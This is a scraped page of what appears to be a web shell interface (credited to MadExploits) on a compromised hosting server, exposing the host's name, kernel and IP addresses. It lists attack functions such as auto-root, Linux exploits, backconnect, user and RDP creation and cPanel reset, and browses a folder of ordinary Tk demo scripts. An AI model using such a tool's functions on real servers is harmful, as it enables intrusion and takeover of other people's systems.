Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.118.12.124
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
tk8.5 /
demos /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
README
2.03
KB
-rw-r--r--
anilabel.tcl
6.51
KB
-rw-r--r--
aniwave.tcl
3.41
KB
-rw-r--r--
arrow.tcl
7.8
KB
-rw-r--r--
bind.tcl
2.87
KB
-rw-r--r--
bitmap.tcl
1.38
KB
-rw-r--r--
browse
1.72
KB
-rwxr-xr-x
button.tcl
1.47
KB
-rw-r--r--
check.tcl
2.22
KB
-rw-r--r--
clrpick.tcl
1.4
KB
-rw-r--r--
colors.tcl
4.88
KB
-rw-r--r--
combo.tcl
1.94
KB
-rw-r--r--
cscroll.tcl
3.31
KB
-rw-r--r--
ctext.tcl
4.76
KB
-rw-r--r--
dialog1.tcl
660
B
-rw-r--r--
dialog2.tcl
613
B
-rw-r--r--
en.msg
3.8
KB
-rw-r--r--
entry1.tcl
1.35
KB
-rw-r--r--
entry2.tcl
2.06
KB
-rw-r--r--
entry3.tcl
5.95
KB
-rw-r--r--
filebox.tcl
2.2
KB
-rw-r--r--
floor.tcl
77.24
KB
-rw-r--r--
form.tcl
1.02
KB
-rw-r--r--
goldberg.tcl
55.23
KB
-rw-r--r--
hello
512
B
-rwxr-xr-x
hscale.tcl
1.46
KB
-rw-r--r--
icon.tcl
2.01
KB
-rw-r--r--
image1.tcl
1002
B
-rw-r--r--
image2.tcl
3.28
KB
-rw-r--r--
items.tcl
9.5
KB
-rw-r--r--
ixset
7.91
KB
-rwxr-xr-x
knightstour.tcl
8.38
KB
-rw-r--r--
label.tcl
1.29
KB
-rw-r--r--
labelframe.tcl
1.8
KB
-rw-r--r--
license.terms
2.16
KB
-rw-r--r--
mclist.tcl
3.89
KB
-rw-r--r--
menu.tcl
6.57
KB
-rw-r--r--
menubu.tcl
4.37
KB
-rw-r--r--
msgbox.tcl
1.98
KB
-rw-r--r--
nl.msg
6.61
KB
-rw-r--r--
paned1.tcl
1.08
KB
-rw-r--r--
paned2.tcl
2.18
KB
-rw-r--r--
pendulum.tcl
7.46
KB
-rw-r--r--
plot.tcl
2.69
KB
-rw-r--r--
puzzle.tcl
2.54
KB
-rw-r--r--
radio.tcl
2.69
KB
-rw-r--r--
rmt
5.22
KB
-rwxr-xr-x
rolodex
8.11
KB
-rwxr-xr-x
ruler.tcl
5.09
KB
-rw-r--r--
sayings.tcl
2.21
KB
-rw-r--r--
search.tcl
4.29
KB
-rw-r--r--
spin.tcl
1.78
KB
-rw-r--r--
states.tcl
1.63
KB
-rw-r--r--
style.tcl
6.78
KB
-rw-r--r--
tclIndex
4.25
KB
-rw-r--r--
tcolor
10.99
KB
-rwxr-xr-x
text.tcl
3.34
KB
-rw-r--r--
textpeer.tcl
2.13
KB
-rw-r--r--
timer
1.09
KB
-rwxr-xr-x
toolbar.tcl
3.19
KB
-rw-r--r--
tree.tcl
3.29
KB
-rw-r--r--
ttkbut.tcl
3.34
KB
-rw-r--r--
ttkmenu.tcl
2.35
KB
-rw-r--r--
ttknote.tcl
2.41
KB
-rw-r--r--
ttkpane.tcl
3.95
KB
-rw-r--r--
ttkprogress.tcl
1.52
KB
-rw-r--r--
ttkscale.tcl
1.39
KB
-rw-r--r--
twind.tcl
10.57
KB
-rw-r--r--
unicodeout.tcl
3.45
KB
-rw-r--r--
vscale.tcl
1.44
KB
-rw-r--r--
widget
22.83
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ttkprogress.tcl
# ttkprogress.tcl -- # # This demonstration script creates several progress bar widgets. if {![info exists widgetDemo]} { error "This script should be run from the \"widget\" demo." } package require Tk package require Ttk set w .ttkprogress catch {destroy $w} toplevel $w wm title $w "Progress Bar Demonstration" wm iconname $w "ttkprogress" positionWindow $w ttk::label $w.msg -font $font -wraplength 4i -justify left -text "Below are two progress bars. The top one is a \u201Cdeterminate\u201D progress bar, which is used for showing how far through a defined task the program has got. The bottom one is an \u201Cindeterminate\u201D progress bar, which is used to show that the program is busy but does not know how long for. Both are run here in self-animated mode, which can be turned on and off using the buttons underneath." pack $w.msg -side top -fill x ## See Code / Dismiss buttons set btns [addSeeDismiss $w.buttons $w] pack $btns -side bottom -fill x ttk::frame $w.f pack $w.f -fill both -expand 1 set w $w.f proc doBars {op args} { foreach w $args { $w $op } } ttk::progressbar $w.p1 -mode determinate ttk::progressbar $w.p2 -mode indeterminate ttk::button $w.start -text "Start Progress" -command [list \ doBars start $w.p1 $w.p2] ttk::button $w.stop -text "Stop Progress" -command [list \ doBars stop $w.p1 $w.p2] grid $w.p1 - -pady 5 -padx 10 grid $w.p2 - -pady 5 -padx 10 grid $w.start $w.stop -padx 10 -pady 5 grid configure $w.start -sticky e grid configure $w.stop -sticky w grid columnconfigure $w all -weight 1
Close